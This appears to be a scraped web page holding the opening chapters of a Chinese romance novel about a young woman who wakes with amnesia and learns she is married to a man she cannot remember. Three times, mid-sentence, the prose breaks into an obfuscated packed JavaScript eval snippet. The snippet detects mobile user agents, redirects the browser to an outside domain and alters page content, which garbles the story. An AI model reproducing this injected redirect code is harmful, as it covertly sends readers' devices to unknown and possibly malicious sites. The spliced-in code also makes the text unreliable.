《春分见你》 1. 失忆 林汐音醒了。 眼睛有些酸痛,但似乎更痛的是脑袋。 她尝试转了下脖子,一个声线偏淡的女声跟着飘过来:“别乱动。” 视线里出现一位漂亮的女医生,胸口的名牌上写着安和医院,姓名是—— “感觉怎么样?头还痛吗?”医生俯身碰了下她额头。 林汐音收回视线,开口前,思绪乱作一团。 好一会儿,她才哑声道:“……还好。” “后脑的伤口已经包扎过了,虽然外伤不重,但还是要多注意休养,转头时动作要轻……”医生顿了一下,原本疏离的声线放柔,带了一点安抚的意味,“裴清宴很快过来。” 谁? 林汐音茫然两秒,视线无处安放时碰巧看清了那枚名牌——许听言。 很好听的名字,林汐音小声道:“谢谢许医生。” “……许医生?” 不对吗? 林汐音视线再次瞥向名牌:“许……听言。”她思索半天,声音越来越小,“名牌是这样写的……” “是我没错。”许听言短暂默了一下,大概有了猜想。 她俯身扶起林汐音,等人安稳靠在床头,才平静道,“你不认识我了?” 林汐音沉默了。 思绪混杂难理的原因似乎找到了。 林汐音不仅不认识对方,甚至她连自己怎么出现在医院这件事,也完全没了印象。 最后一点记忆似乎是爸爸的一通电话,要她回家见什么人,但除此之外的事情,她什么都想不起来。 林汐音艰难地挣扎了一会儿,许听言已经按下了病房里的呼叫器。 …… “逆行性记忆缺失?”许听言看向身旁的医生。 “嗯。”医生将检查结果递给许听言,“简单来说就是暂时性失忆。” 医生继续道:“她从树上摔下来,脑部受到创伤引发失忆,导致外伤前一段时间的事情无法回忆,同样也记不起自己是怎样受伤的。” “外伤前一段时间是指多久?几天,几个月,还是……”许听言话说一半,想起林汐音此时还不认识自己的事情,心里默默将这个时间拉长,换了个问题道,“那她还能恢复这段记忆吗?” “一般来说是可以的,但她忘掉的越多,恢复起来也就越慢。” 许听言低头敲手机的指尖一顿,转头问林汐音:“你记忆中的今天是哪一天?” 林汐音大脑很乱,努力回忆了几秒,犹豫道:“应该是……2024年3月……” 她稀里糊涂地,只能大概记得是个周三…… 情况很糟,和许听言猜测的差不多。 不过另外一位医生显然没有许听言这么冷静:“2024年?!小言,得赶紧联系一下病人的家属……” “情况都同步过了,”许听言晃晃手机,“家属马上到。” 家属? 爸爸吗? 那会不会吓到他啊…… 如果林章越知道了她的情况,可能会立马联系全市最权威的医学专家会诊,并放言“两个小时内如果不能让我女儿恢复记忆明年你们的投资我要全!部!撤!掉!!!” 想到可能会发生的事情,林汐音顿觉眼前一黑,她垂下脑袋,茫然消化着关于自己受伤的信息。 她陷入困惑,大脑也混沌凌乱。 …… 裴清宴走进病房。 林汐音靠在床头,面色很白,鼻尖的一颗小痣泛着很浅的光。 她努力在想着什么,长睫下的一双杏眼透着迷茫。 她瘦了。 但她回来了。 裴清宴沉而缓地吸一口气,冷静数秒,走过去。 林汐音正思考着爸爸来了她该说些什么,意识混乱时鼻腔忽然灌入很淡的雪松木香气,很陌生,但又有一丝熟悉。 她抬眼。 病房里出现一个陌生男人。 他身量太高,林汐音仰头想看清他的脸,却不小心扯到后脑的伤口。 好疼,她晃了一下。 下一秒有人伸手扶住了她。 “还好吗?”他声线偏冷,低却温柔。 林汐音先瞥到他修长的手指,然后才看清他的脸,接着就—— 脸红了。 离得好近,而且他好好看。 林汐音不好意思地抽回手臂,声音很轻:“谢谢你。” 许听言不知什么时候已经站在了男人的身后,空出了床边的位置,声音也淡淡的:“目前除了记忆缺失和脑后的伤,没有发现其他的问题,但还是建议留院观察,顺便做个全身检查。” 裴清宴始终凝视着林汐音,有几个瞬间他没法思考,病房里的一切对于他来说更接近静音。 直到林汐音无措地小声道:“……我想先回家。” 她视线游离在两位医生身上,又低下头有些紧张,“可以吗?” 许听言和身边的医生交换意见:“看她的情况应该是暂时性记忆遗忘,不过遗忘的内容比较多,一时半会儿估计也想不起来。要不要先回家……” 许听言顿了一下,对着裴清宴道:“家属决定吧。” 林汐音消化了半天“家属决定吧。”是什么意思…… 等她再次抬起头时,病房里的两位医生已经没了踪影,只剩下了她和……那个长相好看的陌生男人。 林汐音视线闪躲,思考着是不是该问他借一下手机,她好像没有在病床附近看到自己的手机,可当务之急应该是在爸爸来医院前先给他打个电话报平安才对…… 额头被很轻地碰了一下。 思绪断开,她疑惑地抬眼。 那好听的声音似乎喑哑了几分:“还有没有哪里不舒服?” 林汐音大脑又迅速乱了起来,他为什么看起来这么关心她,他们好像并不认识…… “你看起来并不好,我们可以先回家,”他修长的身躯低下来,宽阔流畅的肩膀遮住林汐音大半的视线,“但如果明天你休息好了,我们还是要听医生的,来医院做一个全面的检查,好吗?” 头痛还在继续,但大脑的混乱和迷茫让她顾不上这种疼痛,她需要知道—— “你……是谁啊?”林汐音声音很小,视线也在闪躲,“我好像,并不认识你……” 她话音落下,又不好意思地解释说:“啊我的意思是医生说我丢掉了一部分记忆,有很多事情……我暂时……不是很能想的起来。” 她说着说着又低下脑袋,和他的对视让她心跳好快。 裴清宴盯着她垂下的眼帘,密而长的睫毛随着她的不安轻轻颤抖,他以前忘了告诉她,他很喜欢她漂亮的眼睛,尤其喜欢她看向自己的时候。 但现在她却不愿意看他。 裴清宴敛下眼底的情绪,坐在床边,开口时声音很轻:“我叫裴清宴。” 她终于有了一丝兴趣,愿意抬头分给他一点目光。 裴清宴贪婪地锁住这一点施舍,对她笑笑,目光比晨色温柔:“还有什么想知道的吗?” 你电话号码是多少啊…… 这个念头一出现,林汐音在心里狠狠的给了自己脑袋一锤…… 拜托这都什么时候了? 还有空花痴! “那个……”林汐音更加不好意思,“我可以借用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375664|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下你的手机吗?医生说我爸爸正在赶来医院的路上,我想先电话里报个平安给他,免得他太担心……” 怕太冒昧,林汐音又解释起来:“我的手机好像找不到了……” 裴清宴没有立刻说话。 林汐音瞬间紧张起来。 没几秒,他说:“我没有让小言把你受伤的事情告诉……林先生。” 林先生,爸爸吗? 可是医生明明说已经联系了家属……不是爸爸?那家属是…… 迟钝的大脑好像恢复了一些灵光,林汐音努力理了理这一切,小心翼翼道:“许医生联系的人,是你吗?” 裴清宴说是。 林汐音怔了下,又开始思考许听言说过的话,对于自己和他的关系有了很多猜想。 这让她更加不敢和他对视,只好支支吾吾道:“我们应该是认识的……对吗?那可以请你,再多告诉我一些事情吗……” 裴清宴很静地看着她,缓缓说:“我们在你毕业前认识,第一次见面在青杉居,那天天气很好,你……” 他没说几句就顿住,似是觉得铺垫太长,担心她无法消化琐碎的信息,于是自作主张选出一件。 起码在他看来最重要的那件—— “第一次见面时,我就很喜欢你。” 房间在下一秒陷入沉寂。 林汐音不可置信地看着他,仿佛他说了天大的谎言。 “你聪明漂亮,喜欢你的人很多。”裴清宴笑着,语气却不是,“我好苦恼,为了追求你想了很多办法。” “是,是吗?”林汐音代入那个画面,只觉不可思议。 怕她不信,裴清宴又列举了她好多个爱好。 林汐音听的云里雾里,好多爱好此时的她似乎还办法对号入座,但他去过青杉居,那是她家在郊区的一处别墅,很少有外人拜访…… 林汐音稀里糊涂地思考,在半信半疑间摇摆,直到他说起她最爱吃的一家桂花酒酿冰汤圆是在一个半山腰的小花店里时,她的表情才从纠结变得震惊。 “怎么了?”他捕捉到这变化。 林汐音注视着他的眼睛,虽然此刻她的大脑混乱到接近于空白,可她开口却很清醒:“不用再说了,那个,我……” 她停了半秒,声音很小不过足够两人听到:“我相信你。” 裴清宴有一瞬的失神。 林汐音紧张地抬手摸了摸自己的耳朵,又小声起来:“那家小花店的冰汤圆,我没有和任何人提起过,包括我爸爸。所以……” 她顿了顿,眼神闪烁,有些不好意思,却又很想确认:“后来我……同意了吗?” 裴清宴回过神来,他听懂了她的困惑,却不肯直接回答,笑着问她:“你指的是什么?” 林汐音紧张的连耳朵都红透,支支吾吾地提醒他,“你说追……就是你想了很多办法的那个。” 她说到最后声音小到快要吞进喉咙里。 裴清宴说她同意了,又道:“谢谢你接受我的追求。” “不,不客气……”林汐音觉得很害羞,手指顺着红透的耳垂滑向脑后,“那我们交往了很久吗?” 几个月? 或许可能……一年以上? 刚刚看两位医生的反应,她似乎丢掉的记忆不止几个月那么简单…… 林汐音又自顾自陷入思考,分神时裴清宴捉住她差点碰到伤口的手指,他把她细弱又微微发抖的指尖攥在掌心,直到皮肤相触的温度传达到心脏,才告诉她:“不是交往。” 林汐音抬起头,眼神带了几分茫然。 “准确来讲——”裴清宴说,“我们结婚了。” 2. 老公 加长宾利优雅又沉默的行驶着,林汐音坐在后座一言不发。 结婚? 这对她来说还是很陌生的一个词汇…… 虽然她也曾幻想过自己未来结婚对象的样子,但那只是很偶尔的、在不情愿见过一些爸爸安排的“勉强合适”人选之后的想法。 所以裴清宴……也是爸爸为她挑选的“勉强合适”人选之一吗? 林汐音混乱地思考着,不知道是第几次偷偷打量他。 裴清宴同她一起落座在加长宾利的后排,他的半张脸笼在午后的日光下,像被加了一层滤镜。 他长得好好看,在病房里看他第一眼时就觉得好帅。 日光轻柔地滑过他高挺鼻梁,投出一小片好看的阴影。他不知道在想些什么,根根分明的长睫盖住眼尾,周身光影浮动,好似细雪落在温水之上,被淡淡的雾气笼罩。 林汐音不露痕迹地偷看了几眼,最后的一丝疑惑也动摇起来。 和他结婚…… 好像也蛮好的…… “回家”的路程漫长且安静,碍于车上还有司机在,林汐音担心自己的偷看行为会被司机抓个正着,于是克制的不再偏头。 她自顾自地和大脑对话了一番,终于抵不住后脑疼痛带来的疲惫感,沉沉睡了过去。 这一觉睡的很踏实,再醒来时,天色比刚刚上车前暗了几分。 这次还是一个陌生的环境,林汐音后知后觉自己好像对于这个“刚刚认识的老公”有些太过信任了,虽然他在出院须知的家属一栏签下了自己的名字,但她似乎都没有再多余问什么,就听话的跟他一起“回家”了。 难道失忆会让人降低警惕性吗…… 林汐音睡眼迷蒙地从沙发上坐起身,视线凝固在正单膝跪在地上为她换鞋的裴清宴身上,他穿着剪裁服贴的西装三件套,虔诚的像一个在为公主服务的骑士。 他捧着她的脚,这画面好有冲击力…… 林汐音有些不知所措:“抱歉我睡着了,我自己来就好……” 裴清宴宽大的手掌覆在她脚踝处。 这骑士的掌心好烫…… 此刻的挣扎在实力悬殊前显得毫无意义,林汐音认清现实,改口道:“……谢谢你。” 裴清宴仰头看她,在半明半昧的灯影下牵起笑:“睡得好吗?” 林汐音声音又小起来:“还不错……” “那就好。”骑士微微起身,修长高大的身形遮住大半的光,“车上的时候,我有注意到你在看我,但我担心你偏头时带动脑后的伤。” 他双手撑在林汐音身两侧,笑着往前探了一点:“现在这样会不会好一点?” 林汐音被他近在咫尺的脸晃晕,大脑又迟缓起来:“什,什么?” 裴清宴配合地将自己送到她面前,好心建议道:“现在没有其他人,可以多看一会儿。” !!! 林汐音迅速脸红起来,胡乱地否认:“没……我没有……” “嗯,那可以看看我吗?”裴清宴困住她的视线,目光诚挚又温柔,“我希望你能多看看我。” 他好心到为她连台阶都找好了,但她却无力招架,在脸要红透前急中生智,转移话题道:“该,该联系爸爸报平安了……我的手机……你有看到吗?” 他默了一瞬:“有。” “但它摔坏了。”裴清宴语气很抱歉,“我买了一个新的给你,可以吗?” 林汐音猛点头:“谢谢你。” “不客气。”裴清宴将手垫在她脑后,确认伤口没有碰到沙发,才克制地拢了下她的长发,温声说,“我去拿给你,但你要乖乖的,不要乱动好吗?” 那雪松香气越来越近,有温润的气息洒在林汐音微卷的睫毛上。 她喜欢这个味道……但又好紧张。 林汐音垂下眼睫不敢看他,这次听话地轻点了下头。 …… 【2027年3月21日。】 林汐音盯着手机屏幕显示的日期,一时间有些无法作出反应。 她竟然……丢掉了三年的记忆…… 裴清宴帮她把电话卡装好:“抱歉,很多记录没办法同步过来。” “没,没事……”现在还不是发呆的时候,林汐音接过新手机,通讯录都在,微信也可以用验证码登陆,只是旧手机摔坏了没办法开机,所以很多信息暂时不能同步。 林汐音原本想打个电话给林章越,但又怕漏出什么马脚让他担心,想了想还是点开了微信…… 微信通讯录,置顶的是两个星标朋友。 除了爸爸,还有一个是——林汐音瞥了一眼备注显示的【冷冰冰汤圆】,一时有些困惑。 “怎么了?”裴清宴在她身旁坐下,不知何时脱掉了西装外套,领带也拽得略微宽松。 柔软的沙发微微下陷,两个肩头很轻地碰在一起,他温热的体温隔着单薄衬衫传来。 “没什么……”林汐音点开和爸爸的对话框,在一片空白里思索着该发些什么比较好。 这不是一个告诉爸爸她受伤的好时机,起码也要等她后脑的伤口痊愈了再说…… 林汐音心事重重地嘀咕:“也不知道爸爸最近在不在千屿市……” “暂时不在。” “真的?”林汐音侧目看他,眼睛亮晶晶的。 裴清宴陷在这眸色里,一时忘了反应。 林汐音自言自语:“那是不是可以先不告诉他啊,反正暂时见不到,等他下次回来的时候我说不定已经都想起来了……” 但事实证明人是经不起念叨的。 林汐音话音刚落,手机铃声就先响了起来。 她垂眸,屏幕显示来电人是——爸爸。 她瞬间心惊肉跳,应对的话还没来得及想,手指先下意识点了接通。 下一秒林章越质问的声音响起来:“怎么回事,刚刚手机怎么关机了?” 林汐音诚惶诚恐,笨拙地编着谎言:“没,没电了。” “哦。回千屿了怎么没回家?方管家说你没去青杉居,也没去市中心的星樾城,华庭、方岳……”林章越一口气说了十几处房产,“……这些你通通没去。你人呢,去哪了?” “…………” 林汐音的大脑已经乱成了一团,她甚至不知道自己什么时候离开的千屿市,刚回来吗?那她之前去哪了…… 她茫然地回忆着,右手无意识伸向身边人…… 她碰到一只骨节分明的大手,好像还有一个冰冰凉的硬物…… 林汐音没来得及低头确认,裴清宴先接过她微颤掌心里的手机,贴在自己右耳边轻声道:“是我,伯父。” 她大气不敢出地看着他。 裴清宴左手轻轻捏了下她的指尖安抚,语气显然镇定的多:“音音在我这里。” 林汐音愣了一下。 后面爸爸说了什么林汐音都不是很能听得清,她耳边只有裴清宴那低沉又好听的声音在耐心回答着—— “好。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375665|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您放心。” “我会照顾好音音。” 以及—— “希望您能再考虑一下。” 考虑什么? 林汐音正疑惑着,裴清宴已经将手机递到她面前,轻声道:“伯父有话要对你说。” 林汐音胡乱地接过手机:“爸……” “一回千屿就去找他,我说这小子到底给你灌了什么迷魂药,他有那么好?我堂堂千屿市首富的宝贝女儿想要什么样的男人没有!帅的年轻的成熟的……” “爸……!”眼看对话走向越来越过分,林汐音手忙脚乱地捂住手机制止道:“您别乱说话呀。” 她怕裴清宴听到,还小幅度地向左侧转了转身子,小声提醒道:“我都结婚了啊……哪能……” 哪能还想什么帅的年轻的成熟的…… 而且要说帅…… 她觉得裴清宴就很帅很帅啊…… 她长这么大还是第一次见到这么好看的人…… 林汐音一时分神。 林章越丢下一句“我懒得管你”就挂掉了电话。 嘟嘟声响了几秒,林汐音才如释重负地长舒一口气……好歹算是应付过去了。 “在想什么?”裴清宴清润的声音在身后响起。 林汐音转过来,还有一丝心虚遗留:“没什么。” “饿不饿?医生说你一天没有吃东西。”裴清宴低头寻她的目光,“想吃什么?我去做给你吃。” “你会做饭吗?”她眼睛亮起来。 “会一点。”裴清宴只是笑,“会做你爱吃的奶油千层意面,芝士蛋挞……还有桂花酒酿冰汤圆,但这个今天不行,你有伤,不可以吃太凉的。” 养病要紧。 林汐音很能分得清轻重缓急,同意道:“我也不是很有胃口,简单吃一点就好。”她想起什么,自荐道,“我可以自己煮粥喝!” “想喝什么粥?南瓜小米粥怎么样,或者可以加一点碾碎的玉米,这样你会不会比较喜欢?” 林汐音点头点头:“喜欢。” “小汤圆呢?还要加一些吗?” 林汐音愣了下,他真的好了解她的口味…… “要的。”她小声道。 裴清宴说好,同时松开衬衫袖口的两颗纽扣,向上挽了两圈,漏出的一节小臂肌肉线条流畅好看。 林汐音没忍住多瞧了两眼,也正好看清了他左手触感冰凉的硬物—— 无名指的一枚戒指。 她下意识摸了摸自己的左手,五指干干净净什么都没有佩戴…… 恍神间裴清宴已经起身,他从旁边拿来一条小毯子盖在她腿上,叮嘱道:“半个小时就好,如果困的话可以再休息一下,但不要碰到伤口,好吗?” 她心不在焉地点头:“好的,我会注意的。” 在沙发上呆坐了一小会儿,林汐音无所事事地打量起这间房子。 这似乎是市区的一套江景大平层,透过巨大的落地窗可以瞧见江对岸的金茂大楼,而且这个大平层竟然还是复式,楼上的格局看起来与楼下相似,整个客厅的位置完完全全挑空,屋内的视野宽阔又明亮。 看起来应该有四百多平吧…… 虽然比起她家的很多豪宅是小了一点,但裴清宴的举手投足间矜贵优雅,想来家庭应该也很不错……老爸没必要那么看不上人家吧…… 林汐音胡思乱想间,视线后移,恰好看到沙发后挂着的一张合照。 准确来说,那是一张婚纱照。 3. 婚纱 林汐音这一晚做了许多光怪陆离的梦,醒来时日上三竿,晨光几乎晃痛了她的眼睛。 她睡在二楼的主卧,裴清宴睡楼下,等她洗漱好下来,午饭早已备好。 裴清宴今天穿了一件深色衬衫,外翻的衣领勾着银线花纹,他把纽扣系到最上面一颗,衬的肩膀线条宽阔又流畅,衬衫下摆被他藏进黑色长裤里,那一截腰看着好细…… 林汐音有些不好意思。 裴清宴笑着看她,阳光下他的帅脸险些把她晃晕…… 林汐音撇开视线,清清嗓子:“早……” 裴清宴将一杯温热的牛奶送去她面前:“刚醒会不会没有胃口,可以先喝一点牛奶。” 林汐音伸手去接,客气得很:“谢谢。” 裴清宴却没松手。 她疑惑抬头。 他说:“以前你不会对我说谢谢。” “怎么会?” 林汐音不信,她怎么可能这么没礼貌。 裴清宴向她低下肩,微微偏头,视线停在远处昨晚她欣赏过的照片上,笑着说:“以前你会像那样表达感谢。” 林汐音顺着他的视线转头。 巨幅的婚纱照被装裱精致的挂在客厅最显眼的位置,照片里林汐音和裴清宴身穿着漂亮的白色婚纱和笔挺的西装,画面里他的手轻轻搭在她腰上,而她则踮起脚尖,吻在他侧脸。 林汐音顿了一下,反应过来后张口结舌,脸又红起来:“我,我……” 裴清宴没忍住笑了一下,声色清润爽朗,看起来心情不错。 他直起身,终于肯把杯子让给她:“音音,不要对我这么客气。” 林汐音还没有从他说的感谢方式里回神,好在他没再继续这个话题,给了她机会捧起牛奶,吨吨几口喝掉。 让人脸红心跳的一顿餐吃完,林汐音在裴清宴的陪同下回到了安和医院。 这是一家高级私立医院,设备和仪器先进到她打了个瞌睡的功夫,身体就已经做完了全面检查。 林汐音被仪器从另一端推出,裴清宴轻轻托着她的后背将人扶起,声音很低:“有没有哪里不舒服?” 她摇摇头:“我很好。” 医生看完检查结果,从实时光屏后抬起头,提醒道:“可以出来了。” 一些常规的检查结果都表明林汐音身体不错,除了……体重有些偏轻,医生在检查报告上签字,叮嘱道:“看报告反馈像是短时间体重骤降,之前就算了,最近受伤期间可千万不要再减肥了,要多吃新鲜的蔬菜肉类,这样会有助于恢复。” 林汐音看着报告上只有九十斤的体重,哇了一声:“以前我可是从来没有下过九十八斤呢……” 林汐音没有什么身材焦虑,也没特意减过肥。她身高一米六七,从前九十八斤的时候觉得自己刚刚好,如今突然变成九十斤…… 看着好像是单薄了许多。 林汐音没太放在心上,反而觉得瘦一些也可以,这样说不定可以穿下更多漂亮的小礼裙…… 她一时思绪翩飞,医生却还在继续尽职地嘱咐着,病房里只剩裴清宴在耐心倾听,偶尔作一些回复。 “好了,就这些。”医生将报告递给裴清宴,“希望您的妻子早日恢复健康。” 林汐音的思绪终于被“妻子”二字唤回,离开前又想起什么,问道:“许听言医生今天不在吗?我还没来得及和她说声谢谢。” 许听言是林汐音醒来时见到的第一个人,虽然瞧着冷漠疏离,但却很温柔的安抚了她。 医生将检查仪器关掉,回答说:“她在心外科,这会儿应该有手术。” 心外科…… 那看来不是负责她病情的医生啊…… 林汐音回想起许听言对她的关心,总觉得两人应该不止是认识那么简单……而且裴清宴似乎也称呼她为“小言”,看起来要更亲密一些…… “我们该回家了。”裴清宴将外套披在她纤细的肩膀上,“如果你想见她,改天我们可以请她到家里来吃饭。” 果然很亲密。 但林汐音莫名很喜欢许听言,于是点头同意了这个方案:“这样也好。” 回去的路上裴清宴很沉默,林汐音一度怀疑他是不是只要坐在车上,就不爱说话……昨天他也是这样一言不发。 后半程车子开的太平缓,林汐音差点又在车里睡着,好在她及时提醒自己分心去看一看沿路的城市变化,才撑着没昏睡过去。 2027年的千屿市变化也不算太大,三年对她来说弹指一挥间,也不知道她变了多少…… 大约一小时之后,他们回到家。 林汐音坐在沙发前的地毯上,专心刷着自己这三年来发的每一条朋友圈。 最近的一条是去年9月份。 没认错的话,照片里是一大片洋桔梗花田,灰绿色的植株遍地,花色却很丰富,香槟色、绿色、淡蓝色……总之都是一些浅雅的颜色。 林汐音一连发了九宫格才算满意。 不过,她什么时候开始喜欢洋桔梗的? 在2024年3月前的记忆里,她好像没有对什么花喜爱到需要发九图的程度…… 再往前的朋友圈就单调了许多,基本上都是她拍的一些植物照片——八月桂花,七月薄荷,六月茉莉,五月……五月是祝林章越五十六岁生日快乐。 点开大图,老爸眼角虽然多了几条皱纹,但依旧神采奕奕,英俊帅气。 林汐音不自觉带着笑,滑到三月份的桃花时,朋友圈难得给植物配了一条文,不过只有简单的两个字——【春分】 看来是心血来潮纪念节气。 林汐音没多想,又继续往前翻。 25年的朋友圈基本和26年差不多,除了发发植物照片,就是为老爸庆祝生日,以及……她愣了愣,怎么又是春分? 这次的照片是一张仰视拍的樱花树下,配文还是简单的——【春分】 看来这三年来她不仅开始喜欢一些花,甚至还喜欢上了春分这一天。 时间来到2024年,这一年除了为林章越庆生,林汐音只发了两条朋友圈。 一条是2024年6月20日,她大学毕业那天的四宫格,三张毕业典礼照片与一张洋桔梗花束的照片。 另一条是2024年9月22日,这一天是—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375666|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她和裴清宴结婚的日子。 林汐音点开照片,画面与她身后不远处墙壁上挂着的婚纱照重叠,手机屏幕放大,这次她看到的是自己红透的耳尖。 这条没有配文,细看才发现是仅自己可见。 朋友圈回忆到这里基本上结束,林汐音从手机屏幕上抬起头,再一次神游天外…… 这几年她的变化确实很大,不仅从研究树类转移到研究花卉,甚至就连一向不在意任何节日的她,都开始关注起一个不起眼的小节气。 不过除此之外林汐音的变化并不算大,她翻了翻微信通讯录,貌似只多了裴清宴一个人。 她的社交圈一直很小,从读书起的朋友满打满算不超过五个。大学她修的是植物科学与技术专业,还没毕业就在林章越为她买下的植物研究基地里工作,这三年看来也没什么机会认识新朋友…… 找回记忆大概只需要了解一个人就可以,可偏偏这人一条朋友圈都没有…… 林汐音无精打采地把脑袋搭在矮桌上,任自己放空思绪。 裴清宴视频开完两个会议,走出书房,看到一个缩成一团的背影。 他走过去,居高临下站在沙发前,很自然地搭话:“在想什么?” 林汐音答:“什么都没想起来。” 裴清宴低声笑,学她一样在地毯上坐下,开口时语气轻柔:“不要太勉强自己,医生也说了只要养好身体,记忆会慢慢恢复的,对不对?” 隔了两拳的距离,那雪松香气变得清晰起来。 林汐音从矮桌上直起身,垂下脑袋点了点。 她这样好乖,裴清宴想伸手摸她的长发,又怕吓到她,只好忍住。 “如果有什么想知道的。”他向她保证,“我一定知无不言。” 那其实还蛮多的—— 林汐音想了下,优先选了最好奇的一件,却不敢直视他的眼睛,只小声道:“你有多高呀?” 腿真的好长……一米八五肯定有吧,她和他说话的时候仰头的幅度很明显…… 裴清宴没有想到她会先问这个,难得沉默了几秒,才回答说:“一米八七。” “哇!”林汐音的欣赏藏不住,“你真的好高啊。” 裴清宴不知回忆起什么,瞳仁像染上墨色一般黑。 林汐音继续好奇:“你生日是什么时候啊?” 裴清宴:“10月23。” 天秤座。林汐音在心里默默害羞,她是5月21日出生的双子座,他们星座超配的…… “还有什么想知道的吗?”裴清宴尽职尽责。 林汐音清着问题库存:“你说我们是在我毕业前认识的,具体是哪一天啊?” 问完又觉得不妥,好像在检查男朋友还记不记得和自己初见的日子,怪犀利的…… 林汐音很快又说:“大概日期就好,月份也行……” “3月20。”裴清宴看着她,几乎没有犹豫。 林汐音一时怔住,3月20……是她接到爸爸电话准备回青杉居的那天,也是她记忆中的最后一天。 所以三年时光转瞬即逝,她其实…… 只忘了他。 4. 雪松 偌大的客厅一时陷入沉默。 还是裴清宴先回过神,轻声问她:“怎么了?” 她突然不说话,就连刚刚带着好奇光芒的眼神也黯了几分,他不免有些担心。 “没什么。”林汐音声音很小。 “不开心了吗?”裴清宴一手撑在她身侧,低头检查她的眼睛,怕她哭,声音无限放柔,“可以慢慢想,也可以继续问我,就算想不起来也没有关系,不是有我在吗?” 林汐音抬起头:“那你也没有关系吗?” 裴清宴愣了一下:“为什么这么说。” “我把你忘记了。”林汐音心口发酸,又继续解释,“我知道我忘了很多事情,但那些人都在,我可以慢慢了解。可是关于你和你的事情,我全都忘记了……” 她努力组织语言:“……没有关系吗?” 这次换裴清宴沉默了很久。 他其实很想继续保持清醒和温柔,安抚她的情绪,告诉她没关系。可他好久没有见她了,想要靠近她的冲动几乎要冲毁他的理智,裴清宴低下头,声音很沉:“当然有关系。” 林汐音紧张起来:“对,对不起。” “但我不要道歉,也不要谢谢。” “那……我可以做什么?” 裴清宴说:“你知道的。” 林汐音顿了下,想到不久前他看向沙发后合照时说的话,整个人又结巴起来:“那个,那个要慢慢来……” 裴清宴被她的反应可爱到,又重新笑起来:“哪个?” “就是你早上说……说的那个啊。”她有些手足无措。 裴清宴收紧撑在她身侧的手臂,试探道:“那可以抱一下吗?” 他说这样就可以没关系。 可,可以的吧…… 也不是很过分的请求…… 林汐音用了几秒说服自己,却不敢看他,一双手无措又紧张的抬起。 裴清宴期待着。 然后她又放下。 “是……我抱你嘛?”她竟然还有空思考是该谁主动。 裴清宴深知这样下去要不妙,他很快就要维持不住这份礼节和克制,于是他微微向她倾身,掌心贴在她腰际,很轻、很轻地将她圈在怀里。 林汐音的鼻尖碰到他肩膀,雪松香气将她彻底包围。 她真的好喜欢这个味道…… 甚至都不太紧张了…… 林汐音乖巧地任他抱着,鬼迷心窍道:“你好香……” 裴清宴简直无力招架:“好高,好香,还有什么?” 好帅。 林汐音默默地想,没好意思说出口。 气氛不错,林汐音散去几分不安,又回到之前的话题:“你……大我几岁呀?” 三年前结婚的时候她刚满二十一岁没多久,计算一下裴清宴应该至少也比她大一岁吧? 裴清宴额头渐渐埋在她肩膀处,两天来第一次放松,声音也带上了一分慵懒。 “三岁。”他说。 他们之间突然进入到一个和谐又不尴尬的氛围里,林汐音一鼓作气,又问道:“许听言医生,和我们关系很好吗?” 她没有只提裴清宴一个人,不然像是在质问。 裴清宴说:“她是我妹妹。” 林汐音眨眨眼。 他继续道:“我随母亲姓。” 原来是这样……这些大概是很基础的、三年前林汐音一早就会知道的信息。 她小声哦了一声:“那我也可以叫她小言吗?” “恐怕不行。” “为什么?” “她要大你两个月。” 这个拥抱已经足够久,裴清宴不着痕迹起身,指骨却贪恋地顺过她发丝。 林汐音算算时间:“那她是不是最近要过生日呀?” “也许吧。”裴清宴很少过生日,妹妹也是,所以即使互相知道对方的生日,也不会刻意庆祝或是送上祝福。 他们一家都是这样。 林汐音皱了下眉毛:“她生日是哪一天啊?” 裴清宴说了一个日期。 林汐音一听高兴起来:“下周六?那我们要不要请她来家里吃饭啊,顺便可以给她过生日。” 裴清宴想说不用了,可看到她期待的目光,心又软下来。 “我会转达给她的。”他只好这样说。 林汐音其实也没有什么给人庆祝生日的经验,大部分时间是林章越为她准备的多,而她只需要穿上漂亮的小裙子,准时出席只有几个人的生日晚宴就好。 不知道结婚这三年以来,她有没有为裴清宴准备过生日。 …… 周六一大早,林汐音在楼下忙前忙后。说是忙碌,其实只是将裴清宴订的花插进瓶子里而已。 他买了好多种洋桔梗,七八捧花,上千朵,长桌甚至放不下,有两捧最大的摆在地上。 林汐音只找到两个花瓶,插好第一瓶,花其实也没消耗几朵,她不免有些苦恼:“花还有好多啊……” 裴清宴在她身边收拾着剪掉的花枝,从容道:“香槟色的那捧摆到你房间怎么样,我记得你最喜欢这个颜色。” “是吗?”林汐音开始插第二瓶花,顺便思考,“你怎么买了这么多花,哪些是要送给许医生的啊?” 她还没想好要怎么称呼裴清宴的妹妹比较好,索性先这么叫了。 裴清宴却说:“这些都是给你的。” 